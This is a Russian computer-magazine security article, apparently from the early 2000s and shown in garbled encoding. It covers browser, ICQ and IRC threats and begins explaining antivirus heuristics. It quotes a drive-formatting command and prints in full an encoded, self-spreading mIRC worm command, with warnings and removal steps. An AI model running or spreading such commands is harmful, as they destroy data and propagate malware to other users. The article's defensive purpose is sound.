ïîëíèòü áóôåð, çàâàëèòü ñèñòåìó
èëè âûïîëíèòü ïðîèçâîëüíûé êîä
(ïðàâäà, ýòî îòíîñèòñÿ ëèøü ê
Windows 9x). Äåëî â òîì, ÷òî ïðèëî-
æåíèå îòâîäèò ïîä HostName 255
áàéò è â òî æå âðåìÿ íå êîíòðîëèðó-
åò åãî ðàçìåð. Ñ ïîìîùüþ óìåëîãî
çàïðîñà, ïðåäîñòàâëåííîãî áðàóçå-
ðó (telnet://long-host), Windows çàâè-
ñàëà íà êîðíþ.
Ñóùåñòâóåò òàêæå âèä ðåñóðñà
file://, êîòîðûé èñïîëüçóåòñÿ äëÿ îá-
ðàùåíèÿ ê ëîêàëüíîìó ôàéëó íà
êîìïüþòåðå. Ñ ýòèì ñâÿçàíà îäíà
øóòêà, êîòîðóþ ïðèäóìàëè ñìåõà ðà-
äè ;). À èìåííî: áûëà ñäåëàíà ññûëêà
íà file://c:/ â îòäåëüíîì ôðåéìå ñ óã-
ðîæàþùåé íàäïèñüþ "ß çíàþ, ÷òî
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Íåðåäêî
âñòðå÷àþò-
ñÿ âðåäî-
íîñíûå
ñòðàíèöû ñ
Java-êîäîì,
ïîçâîëÿþ-
ùèå ïðîèç-
âîëüíî ïå-
ðåäâèãàòü
îêíî áðàó-
çåðà, à òàê-
æå ïëîäèòü
åãî îêîøêè,
ïîêà íå
êîí÷èòñÿ
ñâîáîäíàÿ
îïåðàòèâíàÿ
ïàìÿòü.
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Â Opera è Mozilla ýòîò ñêðèïò íå ðàáîòàåò

Çëîóìûøëåííèê ìîã èñïîëíèòü êàê çàðà-
íåå çàêà÷àííûé âèðóñ, òàê è êîìàíäó echo

y | format d: /u.

Çàïóñêàåì êàëüêóëÿòîð ÷åðåç áàãó â Internet Explorer

»

×òî ñ ïîìîùüþ âèíäîâîãî telnet.exe ìîæ-
íî ïåðåïîëíèòü áóôåð, çàâàëèòü ñèñòåìó

èëè âûïîëíèòü ïðîèçâîëüíûé êîä.



Ñ ïîÿâëåíè-
åì Windows
98 è óÿçâè-
ìîñòè âèäà
con/con, âè-
ðóñû ñòàëè
îðèåíòèðî-
âàòüñÿ íà
âûïîëíåíèå
òàêîé êî-
ìàíäû, âû-
âîäÿ èç
ñòðîÿ
êîìïüþòåð
æåðòâû.

Âî âêëàäêå
"Áåçîïàñ-
íîñòü"
íàñòðîåê
ICQ âûáåðè
Direct-ñîå-
äèíåíèå
òîëüêî ïîñ-
ëå ïîäòâå-
ðæäåíèÿ.
Ýòî ïðåäî-
òâðàòèò
ñëó÷àéíóþ
ïåðåäà÷ó
ôàéëà è
ñêðîåò òâîé
IP-àäðåñ.

òû õðàíèøü ó ñåáÿ íà äèñêå C:". Êà-
êîå-òî âðåìÿ ïîëüçîâàòåëè ðåàëüíî
ïóãàëèñü òàêîãî ïðèêîëà :). Êñòàòè,
òàêîé ôðåéì ïðîïóñêàë òîëüêî
Internet Explorer...
Íó ÷òî? Äîñòàòî÷íî àðãóìåíòîâ äëÿ
òîãî, ÷òîáû âûêëþ÷èòü îáðàáîòêó
Java- è VB-ñêðèïòîâ? ß ïîíèìàþ,
÷òî â ìèðíûõ öåëÿõ îíè âïîëíå ìî-
ãóò óêðàñèòü Web-ðåñóðñ è ñäåëàòü
æèçíü âåñåëåå. Íî áåçîïàñíîñòü
ïðåâûøå âñåãî, ïîýòîìó ëó÷øèì ðå-
øåíèåì áóäåò îòêàçàòüñÿ îò ñêðèï-
òîâ. Ñäåëàòü ýòî ìîæíî â îïöèÿõ
áðàóçåðà, âêëàäêà "äîïîëíèòåëüíî"
(äëÿ Internet Explorer).
Âîîáùå îñëèê IE ïîõîæ íà äóðøëàã,
åñëè ó÷èòûâàòü êîëè÷åñòâî äûðîê â
íåì. Ïîýòîìó ñîâåòóþ òåáå ñåðôèòü
ïàóòèíó ÷åì-íèáóäü áîëåå íàäåæ-
íûì. Õîðîøóþ êîíêóðåíöèþ ýêñïëî-
ðåðó ìîæåò ñîñòàâèòü Opera èëè
Mozilla, â êîòîðûõ äûðîê íà ïîðÿäîê
ìåíüøå. Ëèáî îñòàâàéñÿ ñ IE, òîëüêî
âîâðåìÿ èùè íà
download.microsoft.com çàâåòíûå
ïàò÷è äëÿ íåãî.

ÐÀÄÎÑÒÈ ÎÁÙÅÍÈß Â ICQ
Íàêîíåö ìû äîáðàëèñü äî òåõ èí-

òåðíåò-þçåðîâ, êòî íî÷è íàïðîëåò
ïðîâîäèò â îíëàéíå. À èìåííî, ïîëü-
çóåòñÿ íåõèòðîé ñëóæáîé ïîä íàçâà-
íèåì ICQ. Àñüêà ñ äàâíèõ âðåìåí
îáîñíîâàëàñü íà 5190 ïîðòó.
Êàê òû, íàâåðíîå, óæå ïîíÿë, îïàñ-
íîñòü ïðåäñòàâëÿåò âñå, ÷òî ñïîñîá-
íî ïåðåäàâàòü ôàéëû. Â ICQ åñòü
âîçìîæíîñòü ïåðåñûëêè ôàéëà ìåòî-
äîì peer-to-peer (ïðÿìîãî ñîåäèíå-
íèÿ ìåæäó ñîáåñåäíèêàìè).
Êàê è â ëþáîì ÷àòå, â ICQ íåò ñâîèõ
ïðàâèë îáùåíèÿ, ïîýòîìó îíî ìîæåò

ïðîõîäèòü ðàçíûìè ïóòÿìè. Òû ìî-
æåøü ðàçãîâàðèâàòü ñ äðóãîì èç äðó-
ãîãî ãîðîäà èëè ñ äåâ÷îíêîé, êîòîðàÿ
ïîñòó÷àëàñü ê òåáå â àñüêó 5 ìèíóò
íàçàä è æåëàåò ïîçíàêîìèòüñÿ... Âîò
òóò ñëåäóåò áûòü îñòîðîæíåå. Åñëè
ïåðñîíà íàçâàëàñü Ìàðèíîé è ñêàçà-
ëà, ÷òî î÷åíü ñåêñóàëüíî âûãëÿäèò,
ýòî âîâñå íå îçíà÷àåò, ÷òî òû åé äîë-
æåí äîâåðÿòü. Íà ýòîì è ñòðîèòñÿ
ïñèõîëîãè÷åñêèé ìåòîä âíóøåíèÿ.
Ïîñëå íåïðîäîëæèòåëüíîãî îáùåíèÿ
ýòà ÿêîáû äåâóøêà ïûòàåòñÿ âïàðèòü
òåáå ñâîþ ôîòîãðàôèþ (ÿêîáû â îá-
íàæåííîì âèäå). Òû áåç ðàçäóìèé
ïðèíèìàåøü ôàéë è çàïóñêàåøü åãî.
À òàì òðîÿí. ×åðåç íåñêîëüêî ìèíóò
òû ëèøàåøüñÿ êðàñèâîãî ICQ-óèíà
(îñíîâíîé îáúåêò îõîòû), à òàêæå
âñåõ ïàðîëåé íà äèàëàï.
È âñå ïîòîìó, ÷òî çëîóìûøëåííèê
âîñïîëüçîâàëñÿ ÷óâñòâîì óâàæåíèÿ

ñâîåé æåðòâû ê ñëàáîìó ïîëó. Âîîá-
ùå, ñî "ñëó÷àéíûìè ñâÿçÿìè" íóæíî
áûòü ïðåäåëüíî îñòîðîæíûì
(Ìèíçäðàâ ïðåäóïðåæäàåò). Äà, è åñ-
ëè òû âñå-òàêè ïðèíèìàåøü ôàéëû,
íå çàáûâàé ïðîâåðÿòü èõ íà âèðóñû
(êàê "íà ëåòó" ïðîãðàììàìè-ïåðåõ-
âàò÷èêàìè, òàê è "íà ìåñòå", ïîñëå
ñêà÷èâàíèÿ).
Åñëè óæ ìû çàãîâîðèëè î áåçîïàñ-
íîñòè â ICQ, òî ñòîèò íåìíîãî ïîìó-
÷èòñÿ ñ åå íàñòðîéêàìè. Âî âêëàäêå
"Áåçîïàñíîñòü" âûáåðåì Direct-ñîå-
äèíåíèå òîëüêî ïîñëå ïîäòâåðæäå-
íèÿ. Ýòî ïðåäîòâðàòèò ñëó÷àéíóþ
ïåðåäà÷ó ôàéëà è ñêðîåò òâîé IP-àä-
ðåñ. Ïîñëåäíèé ÿâëÿåòñÿ îáúåêòîì
îõîòû äëÿ õàêåðîâ.
È íàïîñëåäîê. Bugtraq ÷àñòî ïèøåò
î áàãàõ, íàéäåííûõ â ICQ îò Ìèðàáè-
ëèñà. Ïðàâäà, çíà÷èòåëüíûõ óÿçâè-
ìîñòåé áûëî ìàëî, íî íå ôàêò, ÷òî
èõ íå ñóùåñòâóåò. Ïîýòîìó ìîé òåáå
ñîâåò: èñïîëüçóé â êà÷åñòâå êëèåíòà
ïðîãðàììó Miranda (www.miranda-
im.org). Ìàëî òîãî, ÷òî îíà íå äîñòà-
åò òåáÿ áàííåðàìè, íî è íà ïîðÿäîê
âûøå ïî áåçîïàñíîñòè, ïîòîìó êàê
íàïèñàíà ãðàìîòíûìè ëþäüìè (íå â
îáèäó ïðîãðàììèñòàì Mirabilis'à áó-
äåò ñêàçàíî).

IRC - ÍÅÈÑÑßÊÀÅÌÛÉ 
ÈÑÒÎ×ÍÈÊ ÎÁÙÅÍÈß

Íó è, íàêîíåö, ïîñëåäíèì ñåðâè-
ñîì, ÷åðåç êîòîðûé ìîæíî ïîäöå-
ïèòü çàðàçó, ÿâëÿåòñÿ IRC. Êàçàëîñü
áû, ïðàâèëà ïîâåäåíèÿ â "èðêå" àíà-
ëîãè÷íû ïðàâèëàì â àñüêå, íî ýòî íå
ñîâñåì òàê.
Íåìíîãî èñòîðèè. Âèðóñû â IRC ñòà-
ëè õîäèòü åùå ñ ïîÿâëåíèåì ïåðâûõ
êëèåíòîâ. Òàêèìè áûëè mIRC è Pirch
(íå åäèíñòâåííûìè, íî ñàìûìè ïîïó-
ëÿðíûìè). Îáà êëèåíòà ïîääåðæèâà-
ëè ïðîãðàììèðîâàíèå ñêðèïòîâ íà
âíóòðåííèõ ñêðèïòîâûõ ÿçûêàõ.
Ýòèì è âîñïîëüçîâàëèñü âèðìåéêå-
ðû, êîòîðûå ïèñàëè çàðàçó íà ýòèõ
ÿçûêàõ. Ïåðâûå IRC-âèðóñû - ýòî òà-
êèå øåäåâðû, êàê mIRC.Acoragil è
mIRC.Simpsalapim. Îíè áûëè îáíàðó-
æåíû åùå îñåíüþ äàëåêîãî 1997 ãî-
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Miranda - õîðîøèé êëèåíò ñ õîðîøèìè íàñòðîéêàìè

Ñóùåñòâóåò ìíîãî ñïîñîáîâ çàñòàâèòü ÷åëîâåêà ñêà÷àòü âèðóñ.
Îäíèì èç òàêèõ ÿâëÿþòñÿ çàìàí÷èâûå íàçâàíèÿ ôàéëà. Íàïðèìåð,
êðÿêåð èíòåðíåòà èëè ãåíåðàòîð ñåðèéíûõ íîìåðîâ èëè íîìåðîâ
êðåäèòíûõ êàðò. ×àñòî âèðóñû âûäàþò çà ïàò÷è ê ïîïóëÿðíûì ïðîã-
ðàììàì, à òàêæå çà èíòåðåñíûå èãðû. Âåðèòü íå ñòîèò, íàîáîðîò,
ñðàçó æå óäàëÿé ïîäîáíûå ôàéëû ñî ñâîåãî äèñêà (åñëè îíè êàêèì-
òî îáðàçîì íà íåãî ïîïàëè).

Åñëè ïåðñîíà íàçâàëàñü Ìàðèíîé 
è ñêàçàëà, ÷òî î÷åíü ñåêñóàëüíî
âûãëÿäèò, ýòî âîâñå íå îçíà÷àåò, 

÷òî òû åé äîëæåí äîâåðÿòü.

Íî áåçîïàñíîñòü ïðåâûøå âñåãî, 
ïîýòîìó ëó÷øèì ðåøåíèåì áóäåò

îòêàçàòüñÿ îò ñêðèïòîâ. 



äà. Íàçâàíèÿ ýòè ñêðèïòû ïîëó÷èëè
ïî èñïîëüçóåìûì èìè êîäîâûì ñëî-
âàì, ïðè ââîäå ñëîâ Acoragil è
Simpsalapim, ñîîòâåòñòâåííî, çëîâ-
ðåäíûå ïðîãðàììû îòêëþ÷àþò ïîëü-
çîâàòåëåé îò êàíàëà.
Íî ýòî åùå öâåòî÷êè. Ñ ïîÿâëåíè-
åì Windows 98 è óÿçâèìîñòè âèäà
con/con, âèðóñû ñòàëè îðèåíòèðî-
âàòüñÿ íà âûïîëíåíèå òàêîé êî-
ìàíäû, âûâîäÿ èç ñòðîÿ êîìïüþ-
òåð æåðòâû. Êàê ïðàâèëî, ýòîò ñèñ-
òåìíûé âûçîâ äåêîäèðîâàëñÿ
mIRC-ôóíêöèåé $decode() è ðàññû-
ëàëñÿ ïî IRC-êàíàëàì. Æåðòâ áûëî
î÷åíü ìíîãî (ýõ, íå ïåðåâåëèñü
åùå íà áåëîì ñâåòå äîâåð÷èâûå
ëè÷íîñòè).

Ñòîèò óïîìÿíóòü è îá IRC-÷åðâÿêàõ,
êîòîðûå òàêæå èìåþò ìåñòî â èñòî-
ðèè. Ïðèìåðîì òàêîãî ñêðèïòà ÿâëÿ-
åòñÿ âîðì ïîä íàçâàíèåì
live_stages.shs. Ñàì ñêðèïò íàïèñàí íà
Visual Basic è çàðàæàë mIRC âðåäî-
íîñíûì êîäîì. Â ýòîì êîäå áûëà ðåà-
ëèçàöèÿ àâòîïåðåäà÷è ôàéëà ïî DCC
(DCC - Direct Client Client, àíàëîã
Peer2peer â ICQ). Òàêèì îáðàçîì ôîð-
ìèðîâàëàñü öåïî÷êà, ïî êîòîðîé ÷åð-
âÿê ïåðåáèðàëñÿ îò îäíîãî êîìïüþòå-
ðà ê äðóãîìó. Ïðàâäà, íèêàêèõ çëîäå-
ÿíèé íà ìàøèíå æåðòâû îí íå âûïîë-
íÿë (êðîìå âñòàâêè êîäà â mIRC).
Äðóãèì ïðèìåðîì ÿâëÿåòñÿ íåäàâ-
íèé ÷åðâÿê $decode(). Åãî ïðîÿâëå-
íèÿ ìîæíî îáíàðóæèòü è ñåé÷àñ,

áðîäÿ ïî IRC-êàíàëàì. Åñëè òû ïîëó-
÷àåøü ïðèâàòíîå ñîîáùåíèå âèäà:

<jungle_girl> Èñïîëüçóé ýòó êîìàíäó,
÷òîáû ïîëó÷èòü SOP íà #Shabash:
//write add
$decode(b24gISsxOmpvaW46Izp7IC5
hdXNlciAxICRuaWNrIHwgL21zIHNlbmQ
gI1NoYWJhc2ggJG5pY2sgLSAkbWUgf
CAubXNnICRuaWNrIAMxNMjx7+7r/Ofz
6SD98vMg6u7s4O3k8ywg9/Lu4fsg7+
7r8/fo8vwgU09QIO3gICNTaGFiYXNo
OgMgLy93cml0ZSBhZGQgJCAkKyBkZ
WNvZGUoICQrICRlbmNvZGUoJHJlYW
QoJHNjcmlwdCxuLDEpLG0pICQrICxtK
SAkY2hyKDEyNCkgLmxvYWQgLXJzIG
FkZCAkY2hyKDEyNCkgLy9tb2RlICQgJ
CsgbWUgK1IgfSB9,m) | .load -rs add

íè â êîåì ñëó÷àå íå âûïîëíÿé ïðåä-
ëîæåííîå. Ïîñëå ðàñøèôðîâêè
MIME-êîäà (îáðàòíîé ôóíêöèåé
$encode()) ìû ïîëó÷àåì òåëî ñêðèï-
òà, îðãàíèçóþùåãî àâòîìàòè÷åñêîå
ïðèâàòíîå ñîîáùåíèå (áåç óâåäîì-
ëåíèÿ îá ýòîì æåðòâû) êàæäîìó
âõîäÿùåìó íà êàíàë. Âñÿ ýòà áàéäà
ïèøåòñÿ â ôàéë add, êîòîðûé ñðàçó
æå ïîäãðóæàåòñÿ â êëèåíò â êà÷åñò-
âå ñêðèïòà. Âðåäà òóò ìàëî, íî ÷åð-
âÿê åñòü ÷åðâÿê è, ïî ñóòè, îí ÿâëÿ-
åòñÿ îáû÷íûì âèðóñîì. ×òîáû èçáà-
âèòñÿ îò òàêîãî âîðìà, íåîáõîäèìî
âûïîëíèòü êîìàíäó /unload -rs add,
à çàòåì óäàëèòü ôàéë "add" èç êàòà-
ëîãà êëèåíòà.

Íà òåêóùèé ìîìåíò Pirch ïðàêòè-
÷åñêè íèêòî íå èñïîëüçóåò. À âîò
mIRC ïîñòîÿííî îáíîâëÿåòñÿ è ñòà-
íîâèòñÿ âñå íàäåæíåå. Ïîñëåäíÿÿ
óÿçâèìîñòü â íåì áûëà íàéäåíà
îêîëî ïîëóãîäà íàçàä è çàêëþ÷à-
ëàñü â íåâåðíîé îáðàáîòêå ïàðà-
ìåòðîâ êîìàíäû /dcc. Ýòîò áàã áûë
íå î÷åíü âàæåí, ïîñêîëüêó çëîó-
ìûøëåííèê íå ìîã âîñïîëüçîâàòü-
ñÿ èì â ñâîèõ êîðûñòíûõ öåëÿõ. Ïî-
ëó÷àåòñÿ, ÷òî mIRC (www.mirc.com)
- ñàìûé íàäåæíûé IRC-êëèåíò. Àâ-
òîð ðåêîìåíäóåò, à ðåäàêöèÿ ê íåìó
äðóæíî ïðèñîåäèíÿåòñÿ.

È Â ÇÀÊËÞ×ÅÍÈÅ...
Ñïèñîê ïîïóëÿðíûõ ñåðâèñîâ

èññÿê. Íåò, êîíå÷íî, ïîäöåïèòü ãà-
äîñòü ìîæíî ãäå óãîäíî: ÷åðåç òîò
æå 139 ïîðò, ãäå ðàñøàðèâàþòñÿ
äèñêè, ðàçíîãî ðîäà napster'û è åãî
êëîíû (õîòÿ ýòîò ñåðâèñ è îòìåíè-
ëè, íî êîå-ãäå åùå âñòðå÷àþòñÿ ïî-
äîáíûå ñåðâåðà), ÷åðåç 135 è äûðÿ-
âûé RPC DCOM (íå çàáóäü ïîñòà-
âèòü firewall è ïðîàïäåéòèòü
Windows) è ò.ä. è ò.ï. Ìîå äåëî - äî-
âåñòè äî òåáÿ ðÿä ïðàâèë, ïðèäåð-
æèâàÿñü êîòîðûõ, òû íàâñåãäà îáå-
çîïàñèøü ñåáÿ îò òàêîé íàïàñòè,
êàê âèðóñû è òðîÿíû. Íî íå ðàñ-
ñëàáëÿéñÿ, ïîñòîÿííî ÷èòàé áàãò-
ðàê, êîòîðûé åæåäíåâíî òðóáèò ìè-
ðó î íîâîé îïàñíîñòè, â î÷åðåäíîé
ðàç ïîòðÿñøåé èíòåðíåò...      A

81

Ìîå äåëî -
äîâåñòè äî
òåáÿ ðÿä
ïðàâèë,
ïðèäåðæè-
âàÿñü êîòî-
ðûõ, òû
íàâñåãäà
îáåçîïà-
ñèøü ñåáÿ
îò òàêîé
íàïàñòè,
êàê âèðóñû
è òðîÿíû.

Ïîìèìî âèðóñîâ, èçúÿíû â êëèåíòàõ èñïîëüçóþòñÿ â òàê íàçûâà-
åìûõ íþêåðàõ. Ïðèìåðîì òàêîé çàðàçû ÿâëÿåòñÿ ïðîãðàììà irc-kill,
êîòîðàÿ ÷åðåç êðèâîé CTCP-çàïðîñ, ïîñûëàåìûé Pirch'ó, âûâîäèò
èç ñòðîÿ âñþ ñèñòåìó. Åñëè áûòü òî÷íûì, òî êëèåíòó ïîñûëàåòñÿ
îáû÷íûé ctcp sound request. Ïîñëå ýòîãî Ïèð÷ íà÷èíàåò ñóäîðîæ-
íî èñêàòü ìóçûêàëüíûé ôàéë íà äèñêå. À ýòîò ôàéë íàçûâàåòñÿ
con/con. Ïîñëå îáðàùåíèÿ ê ýòîìó èìåíè êîìïüþòåð æåðòâû çàâè-
ñàåò (áàã àêòóàëåí òîëüêî äëÿ Windows 98).

ÂÐÅÄÍÛÅ IRC-ÏÐÎÃÐÀÌÌÛ
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Ïîñëå ðàñøèôðîâêè MIME-êîäà ìû
ïîëó÷àåì òåëî ñêðèïòà, îðãàíèçóþùåãî
àâòîìàòè÷åñêîå ïðèâàòíîå ñîîáùåíèå

êàæäîìó âõîäÿùåìó íà êàíàë. 

Ïîëó÷àåòñÿ, ÷òî mIRC (www.mirc.com) - 
ñàìûé íàäåæíûé IRC-êëèåíò.



Ýâðèñòè÷åñ-
êèé àíàëè-
çàòîð - âîï-
ëîùåíèå
èñêóññòâåí-
íîãî èíòåë-
ëåêòà, æèç-
íåííàÿ öåëü
êîòîðîãî â
òîì, ÷òîáû
íàõîäèòü
âèðóñû.

TanaT (TanaT@hotmail.ru)

Åñòü äîâîëüíî ìíîãî òåõíîëîãèé, ïîçâîëÿþùèõ àíòèâèðóñíîìó ïàêåòó íàéòè è âûëå÷èòü èíôèöèðîâàííûé ôàéë. Î íèõ
è ïîéäåò ðå÷ü. Ìû ðàññìîòðèì âñå ñîñòàâëÿþùèå ñîâðåìåííîãî àíòèâèðóñà è îöåíèì èõ àêòóàëüíîñòü â íàøè äíè.

ÊÀÊ ÀÍÒÈÂÈÐÓÑ
ÍÀÕÎÄÈÒ ÆÅÐÒÂÛ
ÀÍÀËÈÇ ÔÀÉËÎÂ ÍÀ ÏÐÅÄÌÅÒ ÇÀÐÀÆÅÍÍÎÑÒÈ

ÑÊÀÍÈÐÎÂÀÍÈÅ
ON-DEMAND 
È ON-ACCESS

Ñòðóêòóðó àíòèâèðó-
ñà óäîáíåå âñåãî ðàñ-

ñìàòðèâàòü íà ïðèìåðå îäíîãî èç èç-
âåñòíûõ ðîññèéñêèõ àíòèâèðóñîâ. Â
ñîñòàâ ýòîãî äèñòðèáóòèâà âõîäèò
áîëüøîå ÷èñëî ìîäóëåé, ïîçâîëÿþ-
ùèõ íàãëÿäíî ïðîäåìîíñòðèðîâàòü òó
èëè èíóþ òåõíîëîãèþ.
Íåîòúåìëåìîé ÷àñòüþ ëþáîãî àíòèâè-
ðóñíîãî ïàêåòà ÿâëÿþòñÿ ñêàíåð è ìî-
íèòîð. Èõ öåëåñîîáðàçíî ðàññìàòðè-
âàòü ñîâìåñòíî. Ñêàíåð â ñâîåé ðàáî-
òå èñïîëüçóåò äâà ìåòîäà: ñèãíàòóð-
íûé ïîèñê è ýâðèñòè÷åñêèé àíàëèçà-
òîð. Ñèãíàòóðíûé ïîèñê çàêëþ÷àåòñÿ
â èçó÷åíèè îïðåäåëåííûõ ÷àñòåé èñ-
ñëåäóåìîãî ôàéëà (èìåþòñÿ â âèäó
òî÷êè âõîäà â èñïîëíÿåìûé ôàéë è
òî÷êè âõîäà ïðîöåäóð/ôóíêöèé) è
îòûñêàíèè â èõ êîäå âèðóñíûõ ñèãíà-
òóð. Ñèãíàòóðà - ýòî ôðàãìåíò êîäà,
ïîçâîëÿþùèé îäíîçíà÷íî èäåíòèôè-
öèðîâàòü êàêîé-òî âèðóñ. Ïðè òàêîì
ñêàíèðîâàíèè èñïîëüçóåòñÿ àíòèâè-
ðóñíàÿ áàçà, êîòîðàÿ ñîäåðæèò íå ÷òî
èíîå, êàê âèðóñíûå ñèãíàòóðû.
Åñòü åùå òàêîå ïîíÿòèå, êàê èçáûòî÷-
íîå ñêàíèðîâàíèå. Ïðè ýòîì ïðîâåðÿ-
þòñÿ àáñîëþòíî âñå ÷àñòè ôàéëà, à íå
òîëüêî òî÷êè âõîäà. Èçáûòî÷íîå ñêà-
íèðîâàíèå ïîçâîëÿåò ïîâûñèòü íà-
äåæíîñòü è êà÷åñòâî îòûñêàíèÿ âèðó-
ñîâ, íî ñóùåñòâåííî çàìåäëÿåò ñàì
ïðîöåññ ñêàíèðîâàíèÿ. Â ïðàêòè÷åñ-
êèõ öåëÿõ èçáûòî÷íîå ñêàíèðîâàíèå
èñïîëüçóåòñÿ î÷åíü ðåäêî, íî ïðè
ïðîâåðêå íîâûõ è "ñïîðíûõ" ôàéëîâ
åãî èñïîëüçîâàíèå âïîëíå îïðàâäàí-
íî (ïðè ýòîì ïîòåðè âðåìåíè ïî÷òè
íåîùóòèìû). Âåñü ìåòîä ñèãíàòóðíîãî
ïîèñêà íåîäíîêðàòíî ïîäâåðãàëñÿ
êðèòèêå - ìíîãèå ñ÷èòàþò, ÷òî ñêàíåð
ëåãêî îáìàíóòü, äîáàâèâ êó÷ó "NOP" è
"PUSH/POP" (êîìàíäû àññåìáëåðà, íå
ïðèâîäÿùèå, ïî ñóòè, ê êàêèì-ëèáî èç-
ìåíåíèÿì, íî ìåíÿþùèå ñèãíàòóðó êî-
äà). Äîëæåí ñêàçàòü, ÷òî ñîâðåìåí-
íûå ñêàíåðû òàêèì îáðàçîì îáìàíóòü
äîâîëüíî ñëîæíî: îãðîìíîå ÷èñëî
"êëîíîâ" èçâåñòíûõ âèðóñîâ òàê è íå
ïîïàäàåò íà êîìïüþòåð ïîëüçîâàòå-

ëÿ, ïîòîìó ÷òî àíòèâèðóñíûé ñêàíåð
óíè÷òîæàåò âèðóñû ñðàçó áåç âñÿêîãî
îáíîâëåíèÿ ñâîåé áàçû.
Ýâðèñòè÷åñêèé àíàëèçàòîð - ïðåäìåò
ìíîãîëåòíèõ äèñêóññèé ìåæäó ó÷åíû-
ìè, àíòèâèðóñíûìè ýêñïåðòàìè è òåñ-
òåðàìè. Ýâðèñòè÷åñêèé àíàëèçàòîð -
âîïëîùåíèå èñêóññòâåííîãî èíòåë-
ëåêòà, æèçíåííàÿ öåëü êîòîðîãî â
òîì, ÷òîáû íàõîäèòü âèðóñû. Â ñòåíàõ
ìíîãèõ àíòèâèðóñíûõ êîìïàíèé ñëî-
âîñî÷åòàíèå "ýâðèñòè÷åñêèé àíàëèçà-
òîð" ëèáî âîîáùå íå óïîòðåáëÿåòñÿ,
ëèáî ñîêðàùàåòñÿ äî ïðîñòîãî è âñåì
ïîíÿòíîãî "ýâðèñòèê". Ñïðàâåäëèâîñ-

òè ðàäè îòìå÷ó, ÷òî áîëüøèíñòâî àí-
òèâèðóñíûõ êîìïàíèé âîîáùå íå ðåà-
ëèçîâàëî â ñâîèõ ïðîäóêòàõ äàííóþ
òåõíîëîãèþ. Åñëè áûòü òî÷íûì, òî
âñåì èçâåñòíûé Norton Antivirus (ÿ
ïðèâåë åãî â ïðèìåð ïîòîìó, ÷òî ýòî
ñàìûé ïîïóëÿðíûé àíòèâèðóñ â ìèðå)
íè÷åãî, êðîìå ñêàíèðîâàíèÿ ïî ñèãíà-
òóðàì, äåëàòü íå óìååò. Îäíà èç ëó÷-
øèõ â ìèðå ðåàëèçàöèé ýâðèñòèêà
ïðåäñòàâëåíà â íàøèõ îòå÷åñòâåííûõ
ïðîäóêòàõ, à èìåííî â Àíòèâèðóñå
Êàñïåðñêîãî. Ýòî íå ïðîñòî ñëîâà -
åùå ñ äàëåêèõ äåâÿíîñòûõ ãîäîâ îá
ýòîì ãîâîðÿò ýêñïåðòû âñåãî ìèðà.
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Èíñïåêòîð
èçìåíåíèé,
ñëîâíî
Øåðëîê
Õîëìñ, èñ-
ñëåäóåò
ìåñòî ïðåñ-
òóïëåíèÿ
(ôàéëû â
íàøåì ñëó-
÷àå) è óëè-
êè (CRC è
äàííûå î
âíóòðåííåì
ñòðîåíèè
ôàéëà).
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Ðàáîòà ýâðèñòèêà - òàéíà çà ñåìüþ ïå-
÷àòÿìè. Ñêîëüêî áû ÿ íè ïûòàëñÿ äî-
áèòüñÿ îòâåòà íà ýòîò âîïðîñ îò ðàçðà-
áîò÷èêîâ ðàçëè÷íûõ àíòèâèðóñíûõ
ñðåäñòâ, âñåãäà íàðûâàëñÿ íà: "Ê ñî-
æàëåíèþ, ìû íå ìîæåì ðàçãëàøàòü
ýòó èíôîðìàöèþ, òàê êàê ýòî íàíåñåò
áîëüøå âðåäà, ÷åì ïîëüçû". Íåêîòî-
ðûå ñâåäåíèÿ ñîáðàòü âñå æå óäàëîñü.
Ïëàí äåéñòâèé ýâðèñòèêà çàêëþ÷àåò-
ñÿ â ñëåäóþùåì: çàïóñòèòü ïîäîçðè-
òåëüíûé èñïîëíÿåìûé ôàéë, ïðîàíà-
ëèçèðîâàòü âñå åãî äåéñòâèÿ è ïðè-
íÿòü îêîí÷àòåëüíîå ðåøåíèå "âèíî-
âåí èëè íåò". Êàæäàÿ èç ýòèõ ñîñòàâ-
ëÿþùèõ èìååò ñâîè îñîáåííîñòè. Çà
ñëîâàìè "çàïóñòèòü èññëåäóåìûé
îáúåêò" ñêðûâàåòñÿ öåëàÿ òåõíîëî-
ãèÿ ïî ñîçäàíèþ âèðòóàëüíîãî ÏÊ.
Ýâðèñòèê ýìóëèðóåò îïåðàöèîííóþ
ñèñòåìó è àïïàðàòíûå ðåñóðñû ÏÊ
äëÿ òîãî, ÷òîáû èíôèöèðîâàííûé
îáúåêò (çäåñü ìû ñäåëàëè äîïóùå-
íèå, ÷òî ôàéë îêàçàëñÿ âñå-òàêè çà-
ðàæåííûì) íå ïðèíåñ âðåäà ñèñòåìå
è äàííûì, à òàêæå íå ñìîã ðàçìíî-
æèòüñÿ è "çàõâàòèòü âëàñòü" (ïîä
ýòèì îáû÷íî ïîíèìàþò: ïðîïèñàòüñÿ
â êîíôèãóðàöèîííûõ ñèñòåìíûõ ôàé-
ëàõ è ðååñòðå, âûãðóçèòü èç ÎÇÓ ñèñ-
òåìíûé ñåðâèñ àíòèâèðóñà è îáåñïå-
÷èòü íåâîçìîæíîñòü åãî ïîñëåäóþ-

ùåé çàãðóçêè). Òàêèì îáðàçîì, ñîçäà-
åòñÿ êàðàíòèííàÿ çîíà. Åñëè ôàéë
îêàæåòñÿ èíôèöèðîâàííûì, òî çàðà-
çà áóäåò ëåãêî ëîêàëèçîâàíà. Îïè-
ñàííûé òîëüêî ÷òî ýòàï äîâîëüíî ìó-
òîðíûé â òåõíè÷åñêîé ðåàëèçàöèè, íî
íå íåñåò â ñåáå êàêèõ-ëèáî òåõíîëî-
ãè÷åñêèõ íîâøåñòâ.
Àíàëèç ïîâåäåíèÿ èñïûòóåìîãî îáú-
åêòà è ïðèíÿòèå ðåøåíèÿ - ýòî ðåàëè-
çàöèÿ èñêóññòâåííîãî èíòåëëåêòà.
Ðàçðàáîò÷èêè äîëæíû ñàìè îòâåòèòü
íà òàêèå âîïðîñû, êàê "Êàêèå àñïåê-
òû àêòèâíîñòè ïðîãðàììû ó÷èòûâàòü,
à êàêèå íåò?" è "Êàêèì îáðàçîì ïðè-
íèìàòü ðåøåíèå?" Ìàòåìàòè÷åñêè
âñå ñâîäèòñÿ ê ñëåäóþùåé ñõåìå:
êàæäîå âîçìîæíîå äåéñòâèå ïðîã-
ðàììû îöåíèâàåòñÿ, íàïðèìåð, ïî
øêàëå îò -10 äî 10. Çäåñü ÿ äåëàþ äî-
ïóùåíèå, ÷òî êîä ìîæåò âåñòè ñåáÿ
